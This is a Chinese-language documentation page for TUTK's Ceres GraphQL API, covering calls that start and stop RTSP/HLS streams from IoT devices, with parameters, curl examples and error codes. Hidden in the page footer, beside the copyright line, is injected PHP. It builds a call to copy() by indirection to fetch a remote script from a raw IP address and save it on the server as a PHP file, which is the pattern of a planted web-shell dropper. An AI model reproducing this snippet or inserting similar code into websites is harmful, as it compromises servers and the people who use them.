简体中文

Ceres APIs

APIs接口 (GraphQL)


  • APIs (GraphQL)
  • Error Code 
Query Streaming:  /ceres
支持方法: POST

查询名称: init_streaming

描述:

通知ceres从设备拉流,并且拿到拉流的url。

请求 

输入参数
类型
说明
备注
device
string
设备的UID,为20为或者40位
必选
 
 
account
string
[P2P] 连线avClientStart中的account (AVAPI)
password
string
[P2P] 连线avClientStart中的password (AVAPI)
protocol
string
需要何种格式的流:
rtsp (rtsp over TLS)
hls 
realm
string
realm,客户向TUTK申请
state
string
客户自定义信息用以第三方验证
authkey
string
[P2P] 设备loginEx的连线密码,如果使用login,则不需要填写此项
可选
authToken
string
第三方auth的token
authType
string
authToken的类型 如:Bearer or JWT
channel
int
设备的通道

回应

返回值
类型
描述
code
string
小于0失败,0为成功。
url
string
拉流的地址
msg
string
失败的错误信息

例子 

init_streaming: request
curl -XPOST -d 'query {init_streaming(authToken:"dm verify token",authType:"Bearer",device:"device UID",account:"user",password:"secret",protocol:"rtsp",realm:"rd",state:"state",authkey:"auth auth"){code,url,msg}}' https://domain:port/ceres
init_streaming: response
//response of init_streaming {   "data": {         "init_streaming": {              "code": 0,              "url": "rtsp://192.168.55.10:8554/de89bbd28252c7bde7e09223f078529f85279e86",              "msg": ""              }     } }

查询名称: init_streaming_v3

描述:

通知ceres从设备拉流,并且拿到拉流的url。

请求

输入参数
类型
说明
备注
device
string
设备的UID,为20为或者40位
必选
 
 
avtoken
string
[P2P] 连线avClientStart中的avtoken/av password (AVAPI)
authkey
string
[P2P] 设备loginEx的连线密码,如果使用login,则不需要填写此项
identity
string
P2P] 连线avClientStart中的account或者 identity (AVAPI)
realm
string
realm,客户向TUTK申请
state
string
客户自定义信息用以第三方验证
protocol
string
需要何种格式的流:
rtsp (rtsp over TLS)
hls 
avType
string
[P2P] av通道创建验证的密码类型,可选项( authToken, authPass)
可选
authToken
string
第三方auth的token
authType
string
authToken的类型 如:Bearer or JWT
playbackFile
string
回放的文件名
playbackChannel
int
回放的通道
playbackTimestamp
int
回放的时间戳,最早不超过1年
channel
int
设备的通道

回应

返回值
类型
描述
code
string
小于0失败,0为成功。
url
string
拉流的地址
msg
string
失败的错误信息

例子 

init_streaming_v3: request Expand source
curl -XPOST -d 'query {init_streaming_v3(device:"device UID",authToken:"dm verify token",authType:"Bearer",avtoken:"user",authkey:"secret",avType:"authToken",protocol:"rtsp",identity:"admin",realm:"rd",state:"state"){code,url,msg}}' https://domain:port/ceres
init_streaming_v3: response Expand source
//response of init_streaming_v3 {      "data": {         "init_streaming_v3": {          "code": 0,          "url": "rtsp://192.168.55.10:8554/de89bbd28252c7bde7e09223f078529f85279e86",          "msg": ""            }      } }

 

查询名称: init_streaming_v4

描述:

通知ceres从设备拉流,并且拿到拉流的url。

请求

输入参数
类型
说明
备注
device
string
设备的UDID
必选
 
 
credential
string
设备的连线凭证/秘钥:credential
realm
string
realm,客户向TUTK申请
state
string
客户自定义信息用以第三方验证
protocol
string
需要何种格式的流:
rtsp (rtsp over TLS)
hls 
authToken
string
第三方auth的token
可选
authType
string
authToken的类型 如:Bearer or JWT
playbackFile
string
回放的文件名
playbackChannel
int
回放的通道
playbackTimestamp
int
回放的时间戳,最早不超过1年
channel
int
设备的通道

回应

返回值
类型
描述
code
string
小于0失败,0为成功。
url
string
拉流的地址
msg
string
失败的错误信息

例子 

init_streaming_v4: request Expand source
curl -XPOST -d 'query {init_streaming_v4(authToken:"dm verify token",authType:"Bearer",device:"device UID",credential:"credential",protocol:"rtsp",realm:"rd",state:"state"){code,url,msg}}' https://domain:port/ceres
init_streaming_v4: response Expand source
//response of init_streaming_v4 {   "data": {        "init_streaming_v4": {            "code": 0,            "url": "rtsp://192.168.55.10:8554/de89bbd28252c7bde7e09223f078529f85279e86",                  "msg": ""            }    } }

 

查询名称: terminate_streaming

描述:

通知ceres停止拉流。

请求 

输入参数
类型
说明
备注
device
string
device UID
必选
state
string
state, user info
protocol
string
rtsp (rtsp over TLS)
hls 
authToken
string
authToken, use to validate
可选
playbackFile
string
the filename of the playback
authType
string
the token type, ex Bearer or JWT

回应

例子

request 
curl -XPOST -d 'query {terminate_streaming(authToken:"dm verify token",authType:"Bearer",device:"device UID",state:"state"){code,url,msg}}' https://domain:port/ceres
response
{   "data": {     "terminate_streaming": {      "code: 0,      "msg": ""     }   } }
 

错误码说明 

http错误码: 400
错误码
消息
说明
0

 Success
-1
设备连线失败
SDK返回报错,或者已经有在拉取其他格式的流。
-2
协议不支持
目前只支持 hls 或者 rtsp
-3
验证失败
第三方验证失败
-4
参数错误
部分参数错误
error response
//response of error {   "data": {     "init_streaming": {          "code": -3,          "msg": "verify error",          "url": ""          }    } }
 

备注:

设备规格:

  • 图像: H.264
  • 声音: AAC ADTS(8k / 44.1k / 48k Hz)

自动关闭的情形:

  1. RTSP 流在1分钟内没被使用。
  2. HLS流如果30s内没有来请求m3u8。
  3. 每个设备当前播放只支持一种流,如果已经在播放RTSP,那么另外一个客户的想要HLS流是不被允许。
  4. 同个客户端,如需重新连接设备拉流,需要调用terminate_streaming来关闭上次连接,或者等待1分钟超时。
  5. 服务器如果30s内没有收到设备任何数据,将关闭连接。

测试推荐格式:

  • 1080p
  • 25 fps
  • AAC(8k Hz)

如何测试RTSP流是否可以播放:

因为目前给的RTSP是经过SSL加密的,所以无法用一般的播放器去播放,需要用stunnel然后proxy到local端成裸流,播放器可以去播local端的裸流。


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部